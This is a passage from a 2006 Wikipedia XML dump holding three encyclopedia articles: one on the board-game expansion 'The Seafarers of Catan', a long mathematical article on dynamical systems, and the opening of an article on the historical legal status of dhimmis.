      <timestamp>2006-03-02T03:58:23Z</timestamp>
      <contributor>
        <username>That Guy, From That Show!</username>
        <id>419920</id>
      </contributor>
      <minor />
      <comment>migrate {{web reference}} (deprecated) to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''''The Seafarers of Catan''''' ([[German language|German]]: ''Die Seefahrer von Catan'') is an expansion of the [[board game]] ''[[Settlers of Catan]]'' for three to four players (five to six player play is also possible with both of the respective five to six player expansions).  The main feature of this expansion is the addition of ships to the game, allowing play between multiple islands.  The expansion also provides numerous scenarios, some of which having custom rules.  The ''Seafarers'' rules and scenarios are also, for the most part, compatible with the ''[[Cities and Knights of Catan]]'' expansion.

''Seafarers'' was originally intended for the ''Settlers'' proper.

== Ships ==
''Seafarers'' introduce the concept of ships, which serve as roads over water or along the coast.  However, a chain of ships must be anchored at a settlement on the coast.  A shipping line that is not anchored at both ends can also move the last ship at the open end, although this can only be done once per turn.

Along with the concept of ships, ''Seafarers'' also introduces the notion of the pirate, which acts as a waterborne robber which steals from nearby ships (similar to how the robber steals from nearby settlements).  The pirate can also prevent ships from being built or moved nearby.  However, the rules are ambiguous as to whether the pirate disables the usage of harbors.

== Gold Rivers ==
''Seafarers'' also introduces the &quot;Gold River&quot; terrain, which grant nearby users one resource of the player's choosing if a player has a settlement nearby.  However, when combined with ''Cities and Knights'', the rules are ambiguous as to whether commodities are collected along with resources if a city is nearby, and whether the player can choose a commodity instead of a resource.

== Exploration ==
Many of the provided scenarios have extra rules encompassing the concept of exploration, with is done by having the hex tiles placed face down.  Should a player builds next to unexplored terrain, the terrain tile is turned face up, and the player is rewarded with a resource should the tile revealed be resource-producing.  In other scenarios, the board is divided into islands, and if the player builds a settlement on an island other than the ones they begin on, the settlement is worth extra victory points.

''Cities and Knights'' users are recommended in the ''Cities and Knights'' manual to not use the ''Cities and Knights'' rules in scenarios where exploration is a factor.

==See also==
*[[Settlers of Catan]]
*[[Cities and Knights of Catan]]

==References==

{{cite web|title=University Of Catan: Seafarers Of Catan|url=http://www.universityofcatan.com/soc-games/soce.html|accessdate=2006-02-09}}

[[Category:Settlers of Catan]]</text>
    </revision>
  </page>
  <page>
    <title>Dynamical system</title>
    <id>9087</id>
    <revision>
      <id>42091498</id>
      <timestamp>2006-03-03T19:46:44Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <comment>converting HTML to wiki markup using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">A '''dynamical system''' is a concept in [[mathematics]] where a fixed rule describes the time dependence of a point in a geometrical space.  The [[mathematical model]]s used to describe the swinging of a clock pendulum, the flow of water in a pipe, or the number of fish each spring in a lake are examples of dynamical systems. 

A dynamical system has a ''state'' determined by a collection of [[real numbers]].  Small changes in the state of the system correspond to small changes in the numbers.  The numbers are also the coordinates of a geometrical space&amp;mdash;a [[manifold]].   The ''evolution rule'' of the dynamical system is a [[function (mathematics)|fixed rule]] that describes what future states follow from the current state.  The rule is [[deterministic]]: for a given time interval only one future state follows from the current state.

== Overview ==
The concept of dynamical system has its origins in Newtonian [[mechanics]].  There, as in other natural sciences and engineering disciplines, the evolution rule of dynamical systems is given implicitly by a relation that gives the state of the system only a short time into the future.  (The relation is either a [[differential equation]] or [[Recurrence relation|difference equation]].)  To determine the state for all future times requires iterating the relation many times&amp;mdash;each advancing time a small step.  The iteration procedure is referred to as ''solving the system'' or ''integrating the system''.  Once the system can be solved, given an initial point it is possible to determine all its future points, a collection known as a ''trajectory'' or ''[[orbit (dynamics)|orbit]]''.

Before the advent of [[computer|fast computing machines]], solving a dynamical system required sophisticated mathematical techniques and could only be accomplished for a small class of dynamical systems.  Numerical methods executed on computers have simplified the task of determining the orbits of a dynamical system.   

For simple dynamical system, knowing the trajectory is often sufficient, but most dynamical systems are too complicated to be understood in terms of individual trajectories.  The difficulties arise because:
* The systems studied may only be known approximately&amp;mdash;the parameters of the system may not be known precisely or terms may be missing from the equations.  The approximations used bring into question the validity or relevance of numerical solutions.  To address these questions several notions of stability have been introduced in the study of dynamical systems, such as [[Lyapunov stability]] or [[structural stability]].  The stability of the dynamical system implies that there is a class of models or initial conditions for which the trajectories would be equivalent.   The operation for comparing orbits to establish their [[equivalence]] changes with the different notions of stability.
* The type of trajectory may be more important than one particular trajectory.  Some trajectories may be periodic, whereas others may wander through many different states of the system.   Applications often require enumerating these classes or maintaining the system within one class.  Classifying all possible trajectories has led to the qualitative study of dynamical systems, that is, properties that do not change under coordinate changes.   [[Linear dynamical systems]] and [[Poincaré Bendixson theorem|systems that have two numbers describing a state]] are examples of dynamical systems where the possible classes of orbits are understood.
* The behavior of trajectories as a function of a parameter may be what is needed for an application.   As a parameter is varied, the dynamical systems may have [[bifurcation theory|bifurcation points]] where the qualitative behavior of the dynamical system changes.  For example, it may go from having only periodic motions to apparently erratic behavior, as in the [[Ruelle-Takens scenario|transition to turbulence of a fluid]].
* The trajectories of the system may appear erratic, as if random.  In these cases it may be necessary to compute averages using one very long trajectory  or many different trajectories.  The averages are well defined for [[ergodic theory|ergodic systems]] and a more detailed understanding has been worked out for [[hyperbolic systems]]. Understanding the probabilistic aspects of dynamical systems has helped establish the foundations of [[statistical mechanics]] and of [[chaos theory|chaos]].
It was in the work of [[Henri Poincaré|Poincaré]] that these dynamical systems themes developed.

== Basic definitions ==
A dynamical system is a manifold ''M'' called the phase (or state) space and a smooth evolution function ''f&lt;sup&gt;&amp;nbsp;t&lt;/sup&gt;'' that for any element of ''t'' &amp;isin; ''T'', the time, maps a point of the phase space back into the phase space.  The notion of smoothness changes with applications and the type of manifold.  There are several choices for the set ''T''.  When ''T'' is taken to be the reals, the dynamical system is called a ''flow''; and if ''T'' is restricted to the non-negative reals, then the dynamical system is  a ''semi-flow''.   When ''T'' is taken to be the integers, it is a ''cascade'' or a ''map''; and the restriction to the non-negative integers is  a ''semi-cascade''.

The evolution function ''f&lt;sup&gt;&amp;nbsp;t&lt;/sup&gt;'' is often the solution of a ''differential equation of motion''
:  &lt;math&gt; \dot{x} = v(x) \,.&lt;/math&gt;
The equation gives the time derivative, represented by the dot, of  a trajectory ''x(t)'' on the phase space starting at some point ''x&lt;sub&gt;0&lt;/sub&gt;''.  The ''vector field'' ''v(x)'' is a smooth function that at every point of the phase space ''M'' provides the velocity vector of the dynamical system at that point. (These vectors are not vectors in the phase space ''M'', but in the [[tangent space]] ''TM&lt;sub&gt;x&lt;/sub&gt;'' of the point ''x''.) 

There is no need for higher order derivatives in the equation, nor for time dependence in ''v(x)'' because these can be eliminated by considering systems of higher dimensions.  Other types of differential equations can be used to define the evolution rule:
: &lt;math&gt; G(x, \dot{x}) = 0 &lt;/math&gt;
is an example of an equation that arises from the modeling of mechanical systems with complicated constraints. 

The differential equations determining the evolution function ''f&lt;sup&gt;&amp;nbsp;t&lt;/sup&gt;'' are often [[ODE|ordinary differential equations]]: in this case the phase space ''M'' is a finite dimensional manifold.  Many of the concepts in dynamical systems can be extended to infinite-dimensional manifolds&amp;mdash;those that are locally [[Banach space|Banach spaces]]&amp;mdash;in which case the differential equations are [[Partial differential equation|partial differential equations]].  In the late [[20th century]] the dynamical system perspective to partial differential equations started gaining popularity.

== Linear dynamical systems ==
[[Linear dynamical systems]] can be solved in terms of simple functions and the behavior of all orbits classified.  In a linear system the phase space is the &amp;nu;-dimensional Euclidean space, so any point in phase space can be represented by a vector with &amp;nu; numbers.  The analysis of linear systems is possible because they satisfy a superposition principle: if ''u(t)'' and ''w(t)'' satisfy the differential equation for the vector field (but not necessarily the initial condition), then so will ''u(t)'' + ''w(t)''.

=== Flows ===
For a [[flow (mathematics)|flow]], the vector field ''v(x)'' is a linear function of the position in the phase space, that is, 
:  &lt;math&gt; v(x) = A x + b\,,&lt;/math&gt;
with ''A'' a matrix, ''b'' a vector of numbers and ''x'' the position vector.  The solution to this system can be found by using the superposition principle (linearity).
The case ''b'' &amp;ne; 0 with ''A'' = 0 is just a straight line in the direction of ''b'':
: &lt;math&gt; f^t(x_1) = x_1 + b t \,. &lt;/math&gt;
When ''b'' is zero and ''A''&amp;nbsp;&amp;ne;&amp;nbsp;0 the origin is an equilibrium (or singular) point of the flow, that is, if ''x&lt;sub&gt;0&lt;/sub&gt;'' = 0, then the orbit remains there.
For other initial conditions, the equation of motion is given by the [[matrix exponential|exponential of a matrix]]: for an initial point ''x&lt;sub&gt;0&lt;/sub&gt;'',
:  &lt;math&gt;  f^t(x_0) = e^{t A} x_0 \,.&lt;/math&gt;
When ''b'' = 0, the [[eigenvalues]] of ''A'' determine the structure of the phase space.  From the eigenvalues and the eigenvectors of ''A'' it is possible to determine if an initial point will converge or diverge to the equilibrium point at the origin. 

The distance between two different initial conditions in the case ''A'' &amp;ne; 0 will change exponentially in most cases, either converging exponentially fast towards a point, or diverging exponentially fast.  Linear systems display sensitive dependence on initial conditions in the case of divergence. For nonlinear systems this is one of the (necessary but not sufficient) conditions for [[chaos theory|chaotic behavior]].

[[Image:LinearFields.png|thumb|500px|center|Linear vector fields and a few trajectories.]] 
&lt;br style=&quot;clear:both&quot; /&gt;

=== Maps ===
A discrete-time, linear dynamical system has the form
: &lt;math&gt; x_{n+1} =  A x_n + b \,,&lt;/math&gt;
with ''A'' a matrix and ''b'' a vector.  As in the continuous case, the change of coordinates ''x'' &amp;rarr; ''x - A&lt;sup&gt;&amp;nbsp;&amp;ndash;1&lt;/sup&gt;b'' removes the term ''b'' from the equation.   In the new coordinate system, the origin is a fixed point of the map and the solutions are of the form ''A&lt;sup&gt;&amp;nbsp;n&lt;/sup&gt;x&lt;sub&gt;0&lt;/sub&gt;''.  
The solutions for the map are no longer curves, but points that hop in the phase space.  The orbits are organized in curves, or fibers, which are collections of points that map into themselves under the action of the map.

As in the continuous case, the eigenvalues and eigenvectors of ''A'' determine the structure of phase space.  For example, if ''u&lt;sub&gt;1&lt;/sub&gt;'' is an eigenvector of ''A'', with a real eigenvalue smaller than one, then the straight lines given by the points along  &amp;alpha;&amp;nbsp;''u&lt;sub&gt;1&lt;/sub&gt;'', with &amp;alpha;&amp;nbsp;&amp;isin;&amp;nbsp;'''R''', is an invariant curve of the map. Points in this straight line run into the fixed point.

== Local dynamics ==
The qualitative properties of dynamical systems do not change under smooth change of coordinates (this is sometimes taken as a definition of qualitative):   a ''singular point'' of the vector field (a point where ''v(x)'' = 0) will remain a singular point under smooth transformations; a ''periodic orbit'' is a loop in phase space and smooth deformations of the phase space cannot alter it being a loop.  It is in the neighborhood of singular points and periodic orbits that the structure of a phase space of a dynamical system can be well understood.   In the qualitative study of dynamical systems, the approach is to show that there is a change of coordinates (usually unspecified, but computable) that make the dynamical system as simple as possible.

=== Rectification ===
A flow in most small patches of the phase space can be made very simple.  If ''y'' is a point where the vector field ''v(y)''&amp;nbsp;&amp;ne;&amp;nbsp;0, then there is a  change of coordinate for a region around ''y'' where the vector field becomes a series of parallel vectors of the same magnitude.  This is known as the rectification theorem.   

The rectification theorem says that away from singular points the dynamics of a point in a small patch is a straight line.  The patch can sometimes be enlarged by stitching several patches together, and when this works out in the whole phase space ''M'' the dynamical system is integrable.  In most cases the patch cannot be extended to the entire phase space.  There may be singular points in the vector field (where ''v''&amp;nbsp;=&amp;nbsp;0); or the patches may become smaller and smaller as some point is approached.   The more subtle reason is a global constraint, where the trajectory starts out in a patch, and after visiting a series of other patches comes back to the original one. If the next time around the orbit loops around phase space a different way, then it is impossible to rectify the vector field in the whole series of patches.

=== Near periodic orbits ===
In general, in the neighborhood of a periodic orbit the rectification theorem cannot be used.  Poincaré developed an approach that transforms the analysis near a periodic orbit to the analysis of a map.   Pick a point ''x&lt;sub&gt;0&lt;/sub&gt;'' in the orbit &amp;gamma; and consider the points in phase space in that neighborhood that are perpendicular to ''v(x&lt;sub&gt;0&lt;/sub&gt;)''.  These points are a ''Poincaré section''  ''S(&amp;gamma;, x&lt;sub&gt;0&lt;/sub&gt;)'', of the orbit.   The flow now defines a map, the ''Poincaré map'' ''F : S &amp;rarr; S'', for points starting in ''S'' and returning to ''S''.  Not all these points will take the same amount of time to come back, but the times will be close to the time it takes ''x&lt;sub&gt;0&lt;/sub&gt;''.   

The intersection of the periodic orbit with the Poincaré section is a fixed point of the Poincaré map ''F''. By a translation, the point can be assumed to be at ''x''&amp;nbsp;=&amp;nbsp;0. The Taylor series of the map is ''F(x) = J&amp;nbsp;&amp;middot;&amp;nbsp;x + O(x&amp;sup2;)'', so a change of coordinates ''h'' can only be expected to simplify ''F'' to its linear part
: &lt;math&gt; h^{-1} \circ F \circ h(x) = J \cdot x \,. &lt;/math&gt;
This is known as the conjugation equation.  Finding conditions for this equation to hold has been one of the major tasks of research in dynamical systems.  Poincaré first approached it assuming all functions analytic and in the process discovered the non-resonant condition.  If &amp;lambda;&lt;sub&gt;1&lt;/sub&gt;,&amp;hellip;,&amp;lambda;&lt;sub&gt;&amp;nu;&lt;/sub&gt; are the eigenvalues of ''J'' they will be resonant if one eigenvalue is an integer linear combination of two or more of the others.  As terms of the form &amp;lambda;&lt;sub&gt;i&lt;/sub&gt; &amp;ndash; &amp;sum; (multiples of other eigenvalues) occurs in the denominator of the terms for the function ''h'', the non-resonant condition is also known as the small divisor problem.

=== Conjugation results ===
The results on the existence of a solution to the conjugation equation depend on the eigenvalues of ''J'' and the degree of smoothness required from ''h''.  As ''J'' does not need to have any special symmetries, its eigenvalues will typically be complex numbers.  When the eigenvalues of ''J'' are not in the unit circle, the dynamics near the fixed point ''x&lt;sub&gt;0&lt;/sub&gt;'' of ''F'' is called ''hyperbolic'' and when the eigenvalues are on the unit circle and complex, the dynamics is called ''elliptic''.

In the hyperbolic case the theorem of Hartman and Grobman gives the conditions for the existence of a continuous function that maps the neighborhood of the fixed point of the map to the linear map ''J&amp;nbsp;&amp;middot;&amp;nbsp;x''.   The hyperbolic case is also ''structurally stable''.  Small changes in the vector field will only produce small changes in the Poincaré map and these small changes will reflect in small changes in the position of the eigenvalues of ''J'' in the complex plane, implying that the map is still hyperbolic.

The [[Kolmogorov-Arnold-Moser theorem|KAM]] theorem gives the behavior near an elliptic point.

== Bifurcations ==
When the evolution map ''f&lt;sup&gt;&amp;nbsp;t&lt;/sup&gt;'' (or the vector field it is derived from) depends on a parameter &amp;mu;, the structure of the phase space will also depend on this parameter.   Small changes may produce no qualitative changes in the phase space until a special value &amp;mu;&lt;sub&gt;0&lt;/sub&gt; is reached.  At this point the phase space changes qualitatively and the dynamical system is said to have gone through a bifurcation.

[[Bifurcation theory]] considers a structure in phase space (typically a fixed point, a periodic orbit, or an invariant torus) and studies its behavior as a function of the parameter &amp;mu;.   At the bifurcation point the structure may change its stability, split into new structures, or merge with other structures.  By using Taylor series approximations of the maps and an understanding of the differences that may be eliminated by change of coordinates, it is possible to catalog the bifurcations of dynamical systems.

The bifurcations of a hyperbolic fixed point ''x&lt;sub&gt;0&lt;/sub&gt;'' of a map family ''F&lt;sub&gt;&amp;mu;&lt;/sub&gt;'' can be characterized by the eigenvalues of the first derivative ''DF(x&lt;sub&gt;0&lt;/sub&gt;)'' of the map computed at the bifurcation point.  The bifurcation will occur when there are eigenvalues of ''DF'' on the unit circle.  If there is an isolated eigenvalue of value 1 on the unit circle, then the bifurcation is a ''saddle-node bifurcation''.  If there is an isolated eigenvalue &amp;ndash;1 on the unit circle, then it is a ''flip bifurcation''.  And if there is a pair of complex conjugate eigenvalues on the unit circle, then it is a [[Hopf bifurcation]].

Some bifurcations can lead to very complicated structures in phase space.   The [[Ruelle-Takens scenario]] describes how a periodic orbit bifurcates into a torus and the torus into a strange attractor.  The [[Bifurcation diagram|Feigenbaum period-doubling]] describes how a stable periodic orbit goes through a series of doublings of its period.

== Ergodic systems ==
:''See main article [[ergodic theory]].''

In many dynamical systems it is possible to choose the coordinates of the system so that volume (really a &amp;nu;-dimensional volume) in phase space is invariant.  This happens for mechanical systems derived from Newton's laws as long as the coordinates are the position and the momentum and the volume is measured in units of (position) &amp;times; (momentum).  The flow takes points of a subset ''A'' into the points ''f&lt;sup&gt;&amp;nbsp;t&lt;/sub&gt;(A)'' and invariance of the phase space means that 
: &lt;math&gt; \mathrm{vol} (A) = \mathrm{vol} ( f^t(A) ) \,. &lt;/math&gt;
In the [[Hamiltonian mechanics|Hamiltonian formalism]], given a coordinate it is possible to derive the appropriate (generalized) momentum such that the associated volume is preserved by the flow.  The volume is said to be computed by the Liouville measure.

In a Hamiltonian system not all possible configurations of position and momentum  can be reached from an initial condition. Because of energy conservation, only the states with the same energy as the initial condition are accessible.  The states with same energy form an energy shell &amp;Omega;, a sub-manifold of the phase space. The energy shell has its Liouville measure that is preserved.

For systems where the volume is preserved by the flow, Poincaré discovered the [[Poincaré recurrence theorem|recurrence theorem]]: Assume the phase space has a finite Liouville volume and let ''F'' be a phase space volume-preserving map and ''A'' a subset of the phase space.  Then almost every point of ''A'' returns to ''A'' infinitely often.  The Poincaré recurrence theorem was used by [[Zermelo]] to object to [[Boltzmann]]'s   derivation of the increase in entropy in a dynamical system of colliding atoms.

One of the questions raised by Boltzmann's work was the possible equality between time averages and space averages, what he called the [[ergodic hypothesis]].  The hypothesis states that the length of time a typical trajectory spends in a region ''A'' is vol(''A'')/vol(&amp;Omega;).

The ergodic hypothesis turned out not to be the essential property needed for the development of [[statistical mechanics]] and a series of other ergodic-like properties were introduced to capture the relevant aspects of physical systems.  [[Bernard Koopman|Koopman]] approached the study of ergodic systems by the use of [[functional analysis]].  An observable ''a'' is a function that to each point of the phase space associates a number (say instantaneous pressure, or average height).  The value of an observable can be computed at another time by using the evolution function ''f&lt;sup&gt;&amp;nbsp;t&lt;/sup&gt;''.  This introduces an operator ''U''&lt;sup&gt;&amp;nbsp;t&lt;/sup&gt;, the [[transfer operator]],

: &lt;math&gt; (U^t a)(x) = a(f^{-t}(x)) \,. &lt;/math&gt;

By studying the spectral properties of the linear operator ''U'' it becomes possible to classify the ergodic properties of ''f&lt;sup&gt;&amp;nbsp;t&lt;/sup&gt;''.  In using the Koopman approach of considering the action of the flow on an observable function, the finite-dimensional nonlinear problem involving ''f&lt;sup&gt;&amp;nbsp;t&lt;/sup&gt;'' gets mapped into an infinite-dimensional linear problem involving ''U''.

The invariance of the Liouville measure on the energy surface &amp;Omega; is essential for the [[Statistical mechanics#Canonical ensemble|Boltzmann factor exp(&amp;minus;&amp;beta;''H'')]] used in the statistical mechanics of Hamiltonian systems.  This idea has been generalized by [[Yakov G. Sinai|Sinai]], [[Robert Edward Bowen|Bowen]], and [[David Ruelle| Ruelle]] to a larger class of dynamical systems that includes dissipative systems.  SRB measures replace the Boltzmann factor and they are defined on [[attractor]]s of chaotic systems.

=== Chaos theory ===
Simple nonlinear dynamical systems and even [[piecewise linear]] systems can exhibit a completely unpredictable behavior, which might seem to be random. (Remember that we are speaking of completely deterministic systems!). This unpredictable behavior has been called ''[[chaos theory|chaos]]''.   [[Anosov diffeomorphism|Hyperbolic systems]] are precisely defined dynamical systems that exhibit the properties ascribed to chaotic systems.  In hyperbolic systems the tangent space perpendicular to a trajectory can be well separated into two parts: one with the points that converge towards the orbit (the ''stable manifold'') and another of the points that diverge from the orbit (the ''unstable manifold'').

This branch of [[mathematics]] deals with the long-term qualitative behavior of dynamical systems. Here, the focus is not on finding precise solutions to the equations defining the dynamical system (which is often hopeless), but rather to answer questions like &quot;Will the system settle down to a steady state in the long term, and if so, what are the possible [[attractor|attractors]]?&quot; or &quot;Does the long-term behavior of the system depend on its initial condition?&quot;

Note that the chaotic behavior of complicated systems is not the issue. [[Meteorology]] has been known for years to involve complicated&amp;mdash;even chaotic&amp;mdash;behavior. Chaos theory has been so surprising because chaos can be found within almost trivial systems. The [[logistic map]] is only a second-degree polynomial; the [[horseshoe map]] is piecewise linear.

== Formal definition ==
There are two formal definitions for a dynamical system: one is motivated by ordinary differential equations and is geometrical in flavor; and the other is motivated by ergodic theory and is measure theoretical in flavor.   The measure theoretical definitions assumes the existence of a measure-preserving transformation.  This appears to exclude dissipative systems, as in a dissipative system a small region of phase space shrinks under time evolution.  A simple construction (sometimes called the [[N. S. Krylov|Krylov]]-[[Nikolai Bogoliubov|Bogoliubov]] theorem) shows that it is always possible to construct a measure so as to make the evolution rule of the dynamical system a measure-preserving transformation.   In the construction a given measure of the state space is summed for all future points of a trajectory, assuring the invariance.

Many different invariant measures can be associated to any one evolution rule.  In ergodic theory the choice is assumed made, but if the dynamical system is given by a system of differential equations the appropriate measure must be determined.  Some systems have a natural measure, such as the [[Liouville's theorem (Hamiltonian)|Liouville measure]] in [[Hamiltonian system]]s, chosen over other invariant measures, such as the measures supported on periodic orbits of the Hamiltonian system.  For many dissipative chaotic systems  the choice of invariant measure is technically more challenging.  The measure needs to be supported on the attractor, but attractors have zero [[Lebesgue measure]] and the invariant measures must be singular with respect to the Lebesgue measure. 

For hyperbolic dynamical systems, the [[Sinai-Ruelle-Bowen measure|SRB measures]] appear to be the natural choice.  They are constructed on the geometrical structure of stable and unstable manifolds of the dynamical system; they behave physically under small perturbations; and they explain many of the observed statistics of hyperbolic systems.

The difficulty in constructing the natural measure for a dynamical system makes it difficult to develop ergodic theory starting from differential equations, so it becomes convenient to have a dynamical systems-motivated definition within ergodic theory that side-steps the choice of measure.

=== Geometrical definition ===
A dynamical system is the tuple &lt;math&gt; \langle \mathcal{M}, f , \mathcal{T}\rangle &lt;/math&gt;, with &lt;math&gt;\mathcal{M}&lt;/math&gt; a manifold (locally a Banach space or Euclidean space), &lt;math&gt;\mathcal{T}&lt;/math&gt; the domain for time (non-negative reals, the integers, ...) and an evolution rule ''f&lt;sup&gt;&amp;nbsp;t&lt;/sup&gt;'' (with &lt;math&gt;t\in\mathcal{T}&lt;/math&gt;) a diffeomorphism of the manifold to itself.

=== Measure theoretical definition ===
:''See main article [[measure-preserving dynamical system]].''

A dynamical system may be defined formally, as a  measure-preserving transformation of a [[sigma-algebra]], the quadruplet &lt;math&gt;(X,\Sigma,\mu,\tau)&lt;/math&gt;. Here, ''X'' is a [[set (mathematics)|set]], and &amp;Sigma; is a [[topology]] on ''X'', so that &lt;math&gt;(X, \Sigma)&lt;/math&gt; is a sigma-algebra. For every element &lt;math&gt;\sigma \in \Sigma&lt;/math&gt;, &amp;mu; is its finite [[measure (mathematics)|measure]], so that the triplet &lt;math&gt;(X,\Sigma,\mu)&lt;/math&gt; is a [[measure space|probability space]]. A map &lt;math&gt;\tau:X\to X&lt;/math&gt; is said to be [[measureable function|&amp;Sigma;-measurable]] if and only if, for every &lt;math&gt;\sigma \in \Sigma&lt;/math&gt;, one has &lt;math&gt;\tau^{-1}\sigma \in \Sigma&lt;/math&gt;. A map &amp;tau; is said to '''preserve the measure''' if and only if, for every &lt;math&gt;\sigma \in \Sigma&lt;/math&gt;, one has &lt;math&gt;\mu(\tau^{-1}\sigma ) = \mu(\sigma)&lt;/math&gt;. Combining the above, a map &amp;tau; is said to be a '''measure-preserving transformation of ''X'' ''', if it is a map from ''X'' to itself, it is &amp;Sigma;-measurable, and is measure-preserving. The quadruple &lt;math&gt;(X,\Sigma,\mu,\tau)&lt;/math&gt;, for such a &amp;tau;, is then defined to be a '''dynamical system'''. 

The map &amp;tau; embodies the time evolution of the dynamical system. Thus, for discrete dynamical systems the [[iterated function|iterates]] &lt;math&gt;\tau^n=\tau \circ \tau \circ \ldots\circ\tau&lt;/math&gt; for integer ''n'' are studied. For continuous dynamical systems, the map &amp;tau; is understood to be finite time evolution map and the construction is more complicated.

== Examples of dynamical systems ==
* [[Logistic map]]
* [[Double pendulum]]
* [[Horseshoe map]]
* [[Baker's map]] is an example of a chaotic [[piecewise linear]] map
* [[Dynamical billiards|Billiards]] and [[Dynamical outer billiards|Outer Billiards]]
* [[Henon map]]
* [[Lorenz attractor|Lorenz system]]
* [[Circle map]]
* [[Rossler map]]
* [[List of chaotic maps]]
* [http://www.drchaos.net/drchaos/Sam/sam.html Swinging Atwood's Machine (SAM)]
* [http://www.drchaos.net/drchaos/bb.html Bouncing Ball]
* [http://www.drchaos.net/drchaos/string_web_page/index.html Mechanical Strings]

== See also ==
* [[Systems theory]]
* [[System dynamics]]
* [[List of dynamical system topics]]
* [[Oscillation]]
* [[Sarkovskii's theorem]]

== External links ==
* [http://www.math.sunysb.edu/dynamics/ Dynamical systems at SUNY] has a large and active group in dynamical systems.  Lists of conferences, researchers, and some open problems.
* [http://www.dynamical-systems.org Oliver Knill] has a series of examples of dynamical systems with explanations and interactive controls.
* [http://www.arxiv.org/list/math.DS/recent Arxiv preprint server]  has daily submissions of (non-refereed) manuscripts in dynamical systems.
* [http://www-chaos.umd.edu/ Chaos @ UMD] concentrates on the applications of dynamical systems.

== References ==
Works providing a broad coverage:
* {{cite book | author=Ralph Abraham and Jerrold E. Marsden | title= Foundations of mechanics | publisher= Benjamin-Cummings | year= 1978 | id=ISBN 080530102X}}  (available as a reprint: ISBN 0201408406)
* ''[[User:XaosBits/EMP |Encyclopaedia of Mathematical Sciences]]'' (ISSN: 0938-0396) has a sub-series on dynamical systems with reviews of current research.
* {{cite book | author=Anatole Katok and Boris Hasselblatt | title= Introduction to the modern theory of dynamical systems | publisher= Cambridge | year= 1996 | id=ISBN 0521575575}}

Introductory texts with a unique perspective: 
* {{cite book | author=V. I. Arnold | title=Mathematical methods of classical mechanics | publisher=Springer-Verlag | year=1982 | id=ISBN 0387968903}}
* {{cite book | author=Jacob Palis and Wellington de Melo | title=Geometric theory of dynamical systems: an introduction | publisher=Springer-Verlag | year=1982 | id=ISBN 0387906681}}
* {{cite book | author=David Ruelle | title=Elements of Differentiable Dynamics and Bifurcation Theory | publisher=Academic Press | year=1989 | id=ISBN 0126017107}}
* {{cite book | author=Tim Bedford, Michael Keane and Caroline Series, ''eds.'' | title= Ergodic theory, symbolic dynamics and hyperbolic spaces | publisher= Oxford University Press | year= 1991 | id= ISBN 0-19-853390-X }}
* {{cite book | author=Tufillaro, Abbott, Reilly | title=An experimental approach to nonlinear dynamics and chaos | publisher=Addison-Wesley New York | year=1992 | id=ISBN 0201554410}}

Popularizations:
* {{cite book | author=Florin Diacu and Philip Holmes | title= Celestial Encounters | publisher= Princeton | year= 1996 | id= ISBN 0691027439}}
* {{cite book | author=James Gleick | title= Chaos: Making a New Science | publisher= Penguin | year= 1988 | id= ISBN 0140092501}}

Online books or lecture notes:
* [http://arxiv.org/pdf/math.HO/0111177 Geometrical theory of dynamical systems]. Nils Berglund's lecture notes for a course at [[ETH]] at the advanced undergraduate level.
* [http://www.ams.org/online_bks/coll9/ Dynamical systems]. George D. Birkhoff's 1927 book already takes a modern approach to dynamical systems.  
* [http://alf.nbi.dk/ChaosBook/ Chaos: classical and quantum].  An introduction to dynamical systems from the periodic orbit point of view.

[[Category:Dynamical systems| ]]

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A '''dhimmi''' (also '''zimmi''', [[Arabic Language|Arabic]]''' ذمي''', usually translated as &quot;protected&quot;) is a non-Muslim subject of a state where [[sharia|Islamic law]] is implemented. Dhimmis were officially allowed to practice their religion in return for accepting multiple legal disabilities as well as paying special taxes. 

==Background==
The [[Arabic Language|Arabic]] word ''dhimmi'' is an adjective derived from the noun &quot;''dhimma''&quot;, which means &quot;being in the care of&quot;.  The term initially applied to &quot;[[People of the Book]]&quot; living in lands under Muslim rule, namely [[Jew]]s and [[Christian|Christians]]. Over time Muslims extended this category to [[Zoroastrian]]s, [[Mandean]]s, and [[Sikh]]s. Many, but not all, extend this to [[Hindus]]. 

==Sources==
The mediaeval Quranic commentator [[Ibn Kathir]] justified the ''dhimma'' in terms of [[Sura]] 9:29 of the [[Qur'an]] [http://www.tafsir.com/default.asp?sid=9&amp;tid=20980]. The verse calls Muslims to fight against the People of the Book until they pay the [[jizya]] head tax and are humbled:&lt;blockquote&gt;Fight those who believe not in [[Allah]] nor the Last Day, nor hold forbidden that which hath been forbidden by Allah and His Messenger, nor acknowledge the religion of Truth, (even if they are) of the People of the Book, until they pay the Jizyah with willing submission, and feel themselves subdued.&lt;/blockquote&gt;

A classic precedent of ''dhimma'' was an agreement between [[Muhammad]] and the Jews of [[Battle of Khaybar|Khaybar]], an oasis about 95 miles from [[Medina]]. Khaybar was the first territory attacked, conquered, and subjugated by the Muslim state ruled by Muhammad himself. The Jews of Khaybar surrendered to Muhammad after a month and a half of siege; Muhammad allowed them to remain in Khaybar in return for handing over to Muslims one half of their annual produce. The Khaybar case served as a precedent for later Islamic scholars in their discussions on the issue of ''dhimma'', even though the second [[caliph]] [[Umar|Umar I]] subsequently expelled the Jews from the oasis.{{ref|khayblewis}} 

The [[Pact of Umar]] [http://www.fordham.edu/halsall/source/pact-umar.html], allegedly concluded between Umar I and the conquered Christians, was another source of regulations pertaining to dhimmis. However, modern historians, like Arthur S. Tritton, [[Bernard Lewis]], or Hugh Goddard, dispute the authenticity of the Pact, describing it as a product of later jurists who attributed it to the caliph Umar in order to lend greater authority to their own opinions.

Discriminatory legislation enacted against Jews and non-[[Melkite]] Christians in the [[Byzantine Empire]], as well as laws regarding Jews and Christians in the [[Sassanid dynasty|Sassanid]] [[Persian Empire]], was yet another source of dhimmi regulations, though Islamic jurists never mentioned it explicitly as such. Numerous provisions of the [[Codex Theodosianus|Theodosian Code]] of 438 and the [[Corpus Juris Civilis|Justinian's Code]] of 529 migrated into the Islamic law virtually unchanged. Under the Byzantine rule, Jews were obliged not to pray loudly so that their prayers could not be heard in the nearby church. Building new synagogues (and repairing existing ones) was likewise prohibited unless the buildings threatened to collapse and a special permission was obtained. Jews were banned from all public offices and the army; they were prohibited from critizing Christianity, marrying a Christian, or owning a Christian slave. On top of that, Jews paid special taxes, possibly the precursors of jizya. Amplified and expanded, these regulations were applied to Christians too after Byzantine lands fell under the Muslim rule.{{ref|byzsource}}

